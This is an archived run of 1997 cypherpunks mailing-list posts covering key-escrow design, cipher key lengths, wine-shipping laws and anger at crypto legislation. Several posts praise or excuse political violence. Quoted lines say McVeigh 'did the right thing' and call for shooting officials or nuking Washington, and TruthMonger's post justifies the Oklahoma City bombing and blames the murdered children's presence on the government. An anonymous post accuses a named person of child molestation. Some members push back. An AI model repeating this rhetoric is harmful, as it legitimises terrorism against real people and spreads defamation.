and therefore it would be better to use multiple recipient, I'm not
sure that it makes that much difference.  If we get forced to put the
government as the second crypto-recipient recipient, the government
still gets to read all your mail.

The main argument against company generates all keys, company holds
all keys, to me is that it's bad crypto design.

The `it's easier to explain a safe full of all employee keys' to
management argument is nonsense also.  It's a master key either way
and just as easy to explain either way: a master key is a key that
lets you decrypt all mail.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 11 May 1997 08:34:13 +0800
To: devnull@manifold.algebra.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <Pine.SUN.3.94.970510191520.7299A-100000@panix.com>
Message-ID: <199705110023.TAA19163@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Duncan Frissell wrote:
> On Sat, 10 May 1997, Kent Crispin wrote:
> 
> > I would expect a "cypherpunk riot" to be a little more aimed at 
> > cyberspace than real-world suburban neighborhoods.  Wouldn't you?
> 
> Tim was mostly talking about nuking the District of Columbia.  You will
> note that that is an artificial community filled entirely with politicians
> and their sycophants.  It is sort of like the train that Ayn has blow up
> in the Rocky Mountain tunnel in Atlas Shrugged.  There are no innocents
> there. (Well a few tourists and Ethiopian immigrants who don't know better
> but you can't win 'em all.)  Note also that he is hoping others will do
> the deed.  He's not volunteering. 
> 
> There will be a few unfortunate explosions in the world over the next few
> years so I'm sure Tim is just hoping for a beneficial target selection.

Duncan, it is doubtful that there is any member of this mailing list, at
least of those whom I have seen posting, who will dare to raise his fat
ass and blow something up.

The "radicals" are mostly sitting and waiting for something dramatic to
happen, preferably as far from their nice houses and bank accounts as
possible.

Jim Bell might be an exception, but I would not bet on him.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 11 May 1997 07:35:55 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Disinformation in L.A.
In-Reply-To: <19970510135714.39308@bywater.songbird.com>
Message-ID: <Pine.SUN.3.94.970510191520.7299A-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sat, 10 May 1997, Kent Crispin wrote:

> I would expect a "cypherpunk riot" to be a little more aimed at 
> cyberspace than real-world suburban neighborhoods.  Wouldn't you?

Tim was mostly talking about nuking the District of Columbia.  You will
note that that is an artificial community filled entirely with politicians
and their sycophants.  It is sort of like the train that Ayn has blow up
in the Rocky Mountain tunnel in Atlas Shrugged.  There are no innocents
there. (Well a few tourists and Ethiopian immigrants who don't know better
but you can't win 'em all.)  Note also that he is hoping others will do
the deed.  He's not volunteering. 

There will be a few unfortunate explosions in the world over the next few
years so I'm sure Tim is just hoping for a beneficial target selection.

DCF 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 11 May 1997 08:02:00 +0800
To: cypherpunks@cyberpass.net
Subject: Intel for the War Underway
Message-ID: <1.5.4.32.19970510234723.0070b968@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The May 10 Economist has a special survey of
global electronic commerce.

It's a timely piece of battlespace intelligence for Tim's 
"war underway."

It pinpoints financial soft target CyberPromos receiving 
favorable crypto treatment by the world's governments
to manage the Net.

Eric Hughes is featured in its analysis of the birth 
or death struggle of digital cash -- the key battle,
if you will, of breaking the global banks and ranks 
of centralized information.

A battle underway in the US by the TLAs, the Key 
Recovery Alliance and the ABAs of the banks and the 
lawyers aiming for supremacy -- domestic and global --
by managing ever-thinning wallets.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sun, 11 May 1997 09:05:37 +0800
To: cypherpunks <unicorn@schloss.li>
Subject: Re: The War is Underway (fwd)
In-Reply-To: <Pine.SUN.3.96.970510181630.9012N-100000@polaris.mindport.net>
Message-ID: <Pine.LNX.3.95.970510192350.2999A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 10 May 1997, Black Unicorn wrote:

> The amount of confusion over what represents a good algorithm is also
> interesting.  Take CAST, which seems a promising cipher and which we
> considered using over IDEA.
> 
> On asking 4 "experts" about CAST, I got 4 answers.
> 
> 1>  A 64 bit cipher with 40 bits secret.
> 2>  A 64 bit cipher - not expected to be very complete.
> 3>  A 128 bit cipher.
> 4>  "Not worth discussing."
> 
> In fact, as I understand it, CAST is of variable key length (Up to 128
> bits), and quite resistant to many attacks which plague DES and even IDEA.
> 
> But digging out that information was painfully difficult.  (It may not
> even be correct).

According to _Applied Cryptography_, CAST is a Feistel cipher with a 64-bit
block length and 64-bit key length.  So far, brute force is the only known
attack.

As far as "obscenely large" key lengths are concerned, 3-key triple DES
uses a 168-bit key.  This is used in many crypto packages, including
export-controlled Netscape, and is being considered as a replacement for
DES in the U.S.  Triple DES will probably also be supported in the next
version of PGP.  Blowfish supports keys as long as 448 bits and RC4
supports keys up to 2048 bits.  The problem with variable length ciphers
is that programs that use them to not actually take advantage of variable
keys and just stick to using keys of a fixed, and small, size.

Using large key sizes for passphrase-based systems is difficult, because
it's just too difficult to remember a passphrase with enough entropy to
make a difference.  Assuming a random passphrase with 6 bits of entropy
per character, over 21 characters would have to be used for there to be
128 bits of entropy.  Systems that use randomly generated keys are
limited only by the amount of available entropy, but then the passphrase
security to encrypt the secret key or physical security become important.
Using excessively long keys does not do much for security, as there are
always going to be weaker links that an attacker can take advantage of.
It doesn't hurt to use a 256-bit key, or larger, but it doesn't do much
good, either.



Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 11 May 1997 02:14:21 +0800
To: cypherpunks@toad.com
Subject: Certified primes
Message-ID: <199705101759.TAA01604@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Given Timothy May's propensity to molest little children, is it any 
surprise that the state of California wants to have him castrated?

       /\ o-/\  Timothy May
      ///\|/\\\
     /   /|\   \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 11 May 1997 05:25:38 +0800
To: tcmay@got.net
Subject: Re: The War is Underway
In-Reply-To: <v0300780baf9a702c49fe@[207.167.93.63]>
Message-ID: <199705101907.UAA01415@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> However, while we may think their power is gone, or is almost gone, they
> think otherwise. And we're seeing an accelerating pace of lawmaking, [...]
> 
> This is the "race to the fork in the road" I have long talked
> about. The future will be pulled between two attractors, with
> essentially no middle ground (just as there is no middle ground in
> cryptographic security, like pregnancy). At one side lies a
> surveillance state, [...] At the other side lies crypto anarchy,
> [...]
>
> The bureacrats believe more and more repressive laws will control
> troublemakers.
> 
> Who will actually win?
> 
> I think we will. They think they will. The war is underway.

So what are we doing to fight our side?  (Apart from fantasizing
about nuking the bastards till they glow :-)

They seem to be able to keep many people busy just reacting to the
stupid laws and proposed laws.  They can propose laws pretty fast
whilst on their all expenses paid (by us) corrupt political games.
Whoring to corporate and intelligence special interests, and power
grabbing for job security as the malignant growth that is government
heads towards > 50% body mass.

So their tactic seems to be to bring out laws at an accelerating rate.
And to send the crypto facist Aaron around bullying other countries.
If some of these laws actually pass, we're in deep shit.  They're
actually talking about restricting imports, making it a crime to use
crypto, mandatory key escrow (US, Clipper XXIII, I've lost count),
licenses for encryption services (UK, TTPs).  Somehow I don't think
SAFE will pass (either with or without the crypto crime clause), if
anything does get passed it will be so perverted as to be hugely
negative for our purposes.  Maybe some of the draconian stuff is not
expected to stand a chance of passing and is just there for bargaining
purposes.  Regardless, we can't expect any favours from laws, or
politicians.

So what can cypherpunks do?

Write code?

Perhaps it's time for some stego interfaces to remailers.

Usually around this time Black Unicorn gives us his wish list of
crypto anarchy apps.  I'm not sure we've progressed much towards his
wish list since the last time he posted it.

I thought the Eternity Service I announced a week or so ago was a step
towards reducing the possibility for government censorship of web pages.
(http://www.dcs.ex.ac.uk/~aba/eternity/) Not much interest to date.
Ideas stand on their merit, but the success of crypto anarchy services
also depends on ease of use, funding, volunteer effort, publicity, and
evangelizing.  I haven't done much of the latter yet lacking an
example server to bootstrap the system, I hope to have this up in a
few weeks.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Helton <rlhelton@ares.csd.net>
Date: Sun, 11 May 1997 10:41:54 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <3.0.32.19970510202852.006a2624@ares.csd.net>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks-request





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 11 May 1997 11:31:35 +0800
To: cypherpunks@toad.com
Subject: War & InfoWar
Message-ID: <199705110311.VAA20026@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc wrote:

> Lately Tim has been making extremely dramatic death statements:   "Kill
> them all...they are unworthy of life.", "... I
> pray for the deaths of these criminals.",  "Washington is a cancer than can
> only be cured with a few megatons of
> nuclear disinfectant.", "May they all be vaporized.", etc.
> 
> These are definitely dark in mood and understandable; I also have violently
> negative & despairing emotions about these people.   I just wouldn't ever
> think of involving those who are innocent bystanders and happened to be in
> the wrong place at the wrong time.

  Of course, you have your own definintion of innocenent bystanders,
while others may have different definitions.
  Is someone who is in the military because of forced enscription at
the point of a gun (with threats of imprisonment if they refuse) an 
innocent bystander? When an invading force attacks your home, do you
only shoot back at those who are there willingly?
  How about those who willingly process and uphold the atrocities
which the government commits upon its citizens? (Those who don't turn
on the gas, but merely put them in the ovens {because the paperwork
all seemed to be in order}.)

  Were the children in the daycare center at the Federal Building
at OK city innocent bystanders?
  Then why, pray tell, did the government allow them to be placed
in a building which was known to be a prime target of anti-government
paramilitary idealists? Were they being used as a "shield" in the
hopes that their presence would protect the others? Or were they
there in order to provide sensational fodder for government response
to the inevitable?
  History bulges with examples of governments using their citizens
as human shields by placing armament factories in residential areas
and there are a multitude of other examples of government disregard
for the lives of their citizens.
  The government has prosecuted dozens of individuals for planning
to bomb the OK city Federal Building (including executed murderers).
It has long been listed as a target of choice for anti-government
paramilitarists. For the government to deny culpability in children
being present at the bombing reeks of hypocrisy.

> I know that critical times call for critical action, but I just don't
> expect from anarchist libertarian cypherpunks that they would "throw
> caution to the wind" (so to speak) and forget how to think about events and
> actions in terms of specifics and utter precision.

  The fact of the matter is that the government has declared war
on the freedom and liberty of its citizens and passed draconian
laws which prevent citizens from defending themselves from 
government oppression. The government protects those participating
in its crimes from having to pay a price for their complicity.
  The government has a ruinous effect on the lives of millions
of its citizens daily and is responsible for a mountain of deaths
of "innocent people." Those taking part in the process should be
made aware that there is a price to pay for their actions.

  Should the Allied war against Nazi Germany have not taken place
because "innocent" lives would be lost? Should the French Freedom
fighters not have fought to free their country from occupation
because "innocent bystanders" would die in the process?
  Timothy McVeigh's position in history will likely belong in the
hands of the winner of the war between the government and its
citizens, but he is already considered a freedom fighter by more
people than the government would like to admit. He has issued a
wake-up call for those who think that they can remain nameless 
and faceless in their complicity with government atrocities.

  While I would have chosen a different approach and target for
an attack, I will not pass moral judgement on McVeigh's actions.
That is between himself and his conscience.
  Tim McVeigh at least had the fortitude to act on his outrage
over what he perceived as government injustice. What did others
do over the outrageous tragedy at Waco? Mostly they just turned
their heads away and tried to pretend that our government is not
a murderer of men, women and children.
  How many government employees quit in outrage, stating that
they would not take part in such atrocities? How many took a
vocal moral stand against their superiors, or exposed the
government duplicity involved in the police action?

  Nobody who turns their head is "innocent" and they cannot avoid
their own responsibility if they choose to place their children
in the line of fire as a result of their participation in crimes
against the citizens.
  Given the wide knowledge of the OK city Federal Building being
a known target of anti-government forces, I think the placing of
a daycare center there was the equivalent of military forces who
cowardly advance with women and children in front of them. (And
there are ample examples of this in history.)

  Those in government express outrage at the barbarity of an
individual citizen attacking his oppressors, but apparently are
not outraged enough to stop their oppression.
  The fact is that we have a police state whose power and abuse
of power are growing by leaps and bounds because there has been
no realistic amount of accountability attached to their actions.
  This is an unnatural state of affairs and one that human nature
will correct. When things become too far out of balance, then
the universal laws of nature correct the situation. I believe that
the dinosaurs learned this lesson, as well.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 11 May 1997 11:26:52 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Wine Politics Again! (fwd)
In-Reply-To: <199705110207.EAA12477@basement.replay.com>
Message-ID: <Pine.BSF.3.91.970510214728.2692C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain


> 
> It should go without saying that this is a classic case of a dumb bill,
> being passed to serve the special interest of liquor store owners.

This bill is probably a good idea; less tourists getting shot by hoodlums 
wasted on mail-order designer hooch ...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 11 May 1997 13:57:37 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <v0302098baf98c132e204@[139.167.130.248]>
Message-ID: <3.0.1.32.19970510215552.00aa4650@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:26 PM 5/9/97 -0800, Tim May wrote:
>At 4:09 AM -0800 5/9/97, Robert Hettinga wrote:
>>--- begin forwarded text
>>
>>
>>X-Sender: mcooley@pop.tiac.net
>>Date: Thu, 08 May 1997 22:25:28
>>To: dcsb@ai.mit.edu
>>From: Marianne Cooley <mcooley@nethorizons.com>
>>Subject: Wine Politics Again!
>:
>>Hello friends of the Virtual Vineyards and family wineries. Remember the
>>felony direct shipping law in Georgia I wrote about a few weeks ago? Well,
>>Governor Miller signed it, unfortunately. Ship a bottle of wine, go to
>>jail. Amazing.
>...
>
>Thanks, Marianne and Bob, for the news.
>
>I am shipping a few bottles of California's finest merlot (much nicer that
>the trendy cabernets) to my sister and her husband in Hollywood, FL.
>
>Always nice to poke a sharp stick in the eyes of the fascists while also
>adding to my list of felonies (should I ever again enter Florida, which
>seems doubtful, at least not for a while).
>
>Chiles and his co-conspirators should be shot for high crimes against the
>Constitution. After Clinton, Freeh, Kerrey, and the other traitors.
>
>Every day that passes, I'm more convinced that McVeigh did the right thing.
>Some innocents died, but, hey, war is hell. Broken eggs and all that.

Florida is just following the lead of Kentucky (I am not sure of the state. 
Check the Wall Street Journal from last Thursday or Friday.) that has also
made shipping alcohol by mail a felony.  Seems the local distributors have
been having a fit about companies like Liquor By Mail cutting into their
monopoly.

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=DZo0
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sun, 11 May 1997 13:09:39 +0800
To: Kent Crispin <kent@songbird.com>
Subject: timmy has finally lost it
In-Reply-To: <19970510135714.39308@bywater.songbird.com>
Message-ID: <199705110501.WAA17736@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



kC on TCM:
>
>"May they all be vaporized."
>
>"Every day that passes, I'm more convinced that McVeigh did the right thing.
>Some innocents died, but, hey, war is hell. Broken eggs and all that."
>

yeah, I've noticed that TCM is really uptight lately and has been way off
the scale (more so than usual) on the "panty-knot" scale. what gives,
Tim? I think the situation is mostly he's so upset that congress is
discussing bills with the words "crypto" in them, which is apparently
enough to make him cringe with terror.

when the CDA was being passed, I think his hemor^h^h^h rhetoric
swelled up then too as well. but look at what happened with the
CDA-- it got challenged, killed by lower courts, 
and is stuck in the supreme court, likely
to be struck down there too. far from the end of the world forecast
by some here.

the congressional crypto bills are generally a good thing, because
they are increasing public awareness of the issue. any bill that
is not fair or just is likely to be tested in the courts, and if
our system is beyond an orwellian tyranny, will be struck down.
do we have a constitution or not? if so, we have nothing to worry
about. (of course, I am not advocating doing nothing, but I am
advocating not panicking or calling for the "vaporization of washington"..)

there might actually be an advanteage in a very orwellian bill
*passing*. if it is struck down, perhaps no legislator would ever
try again, and those that tried would have their reputations marred
with widescale public infamy.

TCM is terrified by virtually anything that happens in govt, which is 
amusing and comical at times.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 11 May 1997 13:53:34 +0800
To: "Brian C. Lane" <nexus@eskimo.com>
Subject: Re: Camera Hacking
In-Reply-To: <3.0.32.19691231160000.006ae0c4@best.com>
Message-ID: <3.0.1.32.19970510220245.00a90240@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:44 PM 5/9/97 -0700, Brian C. Lane wrote:
>On Thu, 1 May 1997, geeman wrote:
>
>> have an effect on people's behavior with respect to what they say, whom
>> they associate with, 
>> the clothes they wear, the thoughts they think...
>> 
>> How do you hack a camera?
>
>  Splatball (paintball) gun should do the trick.

The best weapon against a 35mm camera is a flash from a camera.  Aim at the
lens and fire.  (Only if they are looking through it.)  The screams are
worth it.  (One of the few joys of my high school photography class.)

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 11 May 1997 13:46:29 +0800
To: cypherpunks@algebra.com
Subject: Re: Wine Politics Again! (fwd)
In-Reply-To: <199705110207.EAA12477@basement.replay.com>
Message-ID: <3.0.1.32.19970510222708.00a78c80@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 04:07 AM 5/11/97 +0200, A. Michael Froomkin wrote:

>It ill behooves participants in a democracy to either advocate or even
>tolerate or even cluck sympathetically at mass murder for political ends. 
>This way lies Bosnia.

I suggest making them look like fools.  It allows public opinion to turn
against the fascists without them having murder or mayhem as a scapegoat. 
There is nothing the greyfaces hate more than laughter.

They have forgotten that "The imposition of order equals the escalation of
disorder".

Now is the time to hack the media.

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-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 11 May 1997 13:49:40 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <3.0.32.19970510224212.006e0a84@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:

>  Of course, you have your own definintion of innocenent bystanders,
>while others may have different definitions.
..........................................................

To me, an innocent bystander would be someone who was walking by a building
which was blown up by someone with a grudge against its occupants.

You lose the point of your attack when you kill those who do not relate to
the reason for your attack.

"To save the village, we had to destroy it."


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 11 May 1997 11:33:58 +0800
To: cypherpunks@toad.com
Subject: Uncontrolled Munitions List
Message-ID: <1.5.4.32.19970511031215.0075b478@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tim's war underway:

It is not McVeigh's type of ANFO-munitions that threaten
the legal-financial-governmental interests but the uncontrolled
munitions available to wage war on public policy, commerce, 
legislation, funding, regulation, intelligence, surveillance 
and law enforcement.

There has been an astonishing range of such munitions 
discussed on cypherpunks in the three years I've been around, 
and there's much more in the archives (handily collated in Tim's 
Cyphernomicon).

Crypto is central, to be sure, but hardly the only munition, as
many often remind.

Indeed, it is noteworthy how many of the broad range of these
potentially destructive munitions are not regulated by the EAR
and other regimes.

As with chemicals, explosives, bio-organisms, mathematics, physics,
it takes highly skilled people to advise the regulators on what
needs control and when, and not just the finished weapon, but its
components and sub-components. (As an example, see ATF's latest 
list of explosives: http://jya.com/atf050497.txt )

The war underway is often waged at secret councils of scientific
information and intelligence used by all government and
military agencies (meetings are listed in the Federal Register,
regularly reported on jya.com).

So it is not the known terrorist-munitions that are worrisome; it's
the ones not yet publicized but known to scientists, warfighters and
keepers of secrets who keep their fingers crossed and plan for
the worst -- say, the President's Commission on Critical Infrastructure
Protection (http://www.pccip.gov/ ).

It would be instructive to post here uncontrolled munitions 
available for the war underway, with comments on how to elude 
control of the burgeoning domestic and global regimes.

I'd like to host a running Uncontrolled Munitions List (UML) on jya.com.

To be sure, some of that information might be submitted by remailer
or prudently encrypted. Use my public key if no other suits:

-----BEGIN PGP PUBLIC KEY BLOCK-----
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 11 May 1997 12:34:05 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
In-Reply-To: <199705110311.VAA20026@wombat.sk.sympatico.ca>
Message-ID: <199705110413.XAA00563@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705110311.VAA20026@wombat.sk.sympatico.ca>, on 05/10/97 at 09:15 PM,
   TruthMonger <tm@dev.null> said:


>  Given the wide knowledge of the OK city Federal Building being a known
>target of anti-government forces, I think the placing of a daycare center
>there was the equivalent of military forces who cowardly advance with
>women and children in front of them. (And there are ample examples of this
>in history.)

Well I think that the FTA's storing of explosives in their offices should
be a clear example of how concerned they were over the safety & welfair of
the rest of those sharing the building with them.

As far as the rest of the post all I can say is that I beleive that their
is a very special place in Hell for those in our government right next
those who let them gain control.

I woun't even discuss the place awaiting those who think what they do is a
"good thing" (Kent) as childern may inadvertantly read this post.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: The choice of the next generation.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 11 May 1997 11:39:23 +0800
To: cypherpunks@toad.com
Subject: List of Explosives
Message-ID: <1.5.4.32.19970511032328.0088aeb0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The correct URL for the latest ATF list of explosives:

   http://jya.com/atf042597.xt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 11 May 1997 14:45:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970510122931.54997@bywater.songbird.com>
Message-ID: <19970510233052.07440@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, May 11, 1997 at 12:51:38AM +0100, Adam Back wrote:
> 
> Kent Crispin <kent@songbird.com> writes:
> > On Sat, May 10, 1997 at 07:19:40PM +0100, Adam Back wrote:
> > > It seems to me that it is you Kent who is scrambling to find plausible
> > > reasons why key escrow is the best or only technology to use in
> > > corporate email systems.
> > 
> > Not "best".  "Easiest".  Look at it this way, Adam -- if it was easy 
> > to implement Carl's model, it would already have happened, given the 
> > dislike of key-escrow in the cryptographic community.  
> 
> Firstly: have you done a comprehensive survey of corporate access
> systems available to commerce.

No.  I personally have not.  People I know have, though -- the survey 
was completed about -- um -- a year and a half ago, I guess.  So it 
is somewhat out of date.

> Secondly: there are a number of other forces "encouraging" the GAK
> model.  Government incentives: Europe companies and research groups
> get given research funding to experiment with GAK/TTP architectures.
> Either the architecture is stipulated as part of the call for
> proposals, or proposals involving GAK are going to get funding more
> easily.

That's a good point.

> Third: people involved with key recovery at all have tended to be
> defense contractor types, who are more likely to go with government
> "standards" (such as TTPs/clipper/tessera/etc).

I'm not so sure about this.

> > But, when examined in detail, in light of real requirements from
> > organizations, it is not easy at all.
> 
> I was under the impression that PGP Inc had done it, or is working on
> it.

This is one reason I'm not so sure -- PGP Inc is not a defense contractor.

>  It's not very hard at all, all you need is PGP's existing
> multiple crypto-recipient feature.

If you believe all your employees will correctly use the proper PGP
incantation each and every time, even when they are tired and haven't
had coffee for 4 hours, and their kid is sick, and their wife is mad
about something, then yes, it is simple.  But of course, that is not
realistic.  Employees are forgetful, the organizations goals are not
their goals, and the PGP UI is -- well, I find it a little awkward, 
at times.

So PGP's multiple recipient feature is a fundamental building block, 
but you need something more in a crypto-client to be sure that 
company policy is followed.  It's that "somthing more" that is the 
hard part.

And lest we get into the macho programmer argument -- of course it's 
just a mere matter of design and programming.

> The storage of your company master key needs some thought, but that's
> a common problem with either your crypto key safe model or multiple
> recipient model.
[...]
> I'm not sure that multiple recipient is that much less useful to GAK
> than the safe model, buf if it is at all less useful, and the systems
> otherwise basically equivalent I would argue against the safe model
> for that reason alone.  However I consider the safe model inferior in
> several areas neglecting this issue anyway.
[...]
> I contend that there are similar and mostly comparable problems with
> the safe model.  Lets take a look at a few:
> 
> > > > With this background, perhaps now you can see why I say that Carl's 
> > > > solution doesn't even address the problem.  The problem is management 
> > > > of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  
> 
> Kent says give all the keys to Acme corp, or let Acme corp generate
> the keys.  Who is Acme Corp?

The company that bought the crypto software for the protection of 
company secrets.  I think I said "who *in* Acme Corp", though, as a 
prelude to the following points, because with the multiple recipient 
model there is a policy decision as to which key in Acme is the 
master.  

> The next bit is as a result of multiple recipient being more flexible
> than the safe model as stated.  We now have freedom to allow different
> elements in the company to audit and access different departments
> communications.  Naturally this extra flexibility results in policy
> decisions.

Yes.  To make use of this flexibility you now need a piece of software
that allows you to produce policy decisions, sign them, and make them
visible to all the crypto clients.  Another mere matter of design and
programming.  And this bit of sortware needs to operate securely -- 
you can't just any joe blow subverting it.  

> 
> > > > What part of the organization that is Acme Corp is authorized to know 
> > > > this particular bit of information?  Because some of the employees 
> > > > are idiots you want this built automatically into the application 
> > > > they are using for encryption/email/whatever.  How does this software 
> > > > know what policy is appropriate for which employee?  How is that 
> > > > policy distributed?  What is the interface that allows a policy to be 
> > > > defined?   How do you protect the policy definition from subversion?
> 
> If making policy decisions is too complex in your view for
> implementation or practicality, well just substitute a policy dumbed
> down to the level of the safe model.  Ie there is one crypto
> recipient, all company communications _must_ be encrytped to it as a
> second crypto recipient.


You are right -- there is the degenerate case where the master key is
fixed.  However, I would contend that is *very* bad crypto design.  So
thus you have the problem of distributing information about a revoked
master key.  (Your solution, below, was that you have a signed policy
statement.  If you have a security breach, and are revoking a master
key, how do you know what signature to trust?)

Furthermore, by encrypting every document to the same master key you
have actually vastly increased your exposure -- a key-safe can have a
lot of special-purpose physical and cryptographic security, but the
master key in the multiple recipient model is almost certainly treated
the same as all other keys.  For example, in the key-safe model I can
just hand someone the master key on a floppy, and it doesn't do them
any good, because they can't get to the key-safe -- it is physically
secure.  Next I walk into the physically secure facility (I, as keeper
of the keys, have legitimate access), and change the master key.  No
security problem, no documents have been compromised, regardless of
their physical location or access.  With the multiple recipient model
if I hand out the master key, every visible encrypted document is
immediately and irrevocably compromised.  So the key-safe model 
allows you a far greater security for your data than the multiple 
recipient model.

> Policy distribution is something Netscape has been doing; apparently
> the difference between it's browsers is largely a signed policy file
> with a mildly obfuscated public verification key check in the code.

Completely different environment, of course -- I saw some traffic 
where they admitted that probably without too much effort 
the policy could be subverted.  But I don't deny that it would be 
possible to build a policy distribution scheme -- but it is a 
non-trivial problem.

> I'm sure you can arrange this same flexibility and bring in the
> baggage of the policy decisions that come with it for the safe model
> also if you want it.  Store keys for different departments in
> different safes.  Give the master keys for the department to the
> department head, etc.,etc.  Same problem, similar policy decisions,
> right?

Nope.  Not at all.  The policy for multiple recipients needs to be
interpreted by the crypto clients.  But in the key-safe model policy
is almost entirely in human hands.  It doesn't even have to be written
down.  

Modestly secure example: The keysafe runs on a single workstation,
hardened similar to a firewall.  The only network connections are to a
single port, which does the cryptographically secure key storing
protocol.  When a key needs to be recovered, three trusted employees
troop into the room (three passwords are required, these passwords are
essentially the master key), and retrieve the needed key on a floppy. 
Other than the authentication protocol, there is *no* policy embedded
in the key-safe, which is to say, *any* policy the company wants to
use is ok.  It may take the personal presence of the company
president, it may take a signed statement from operations staff,
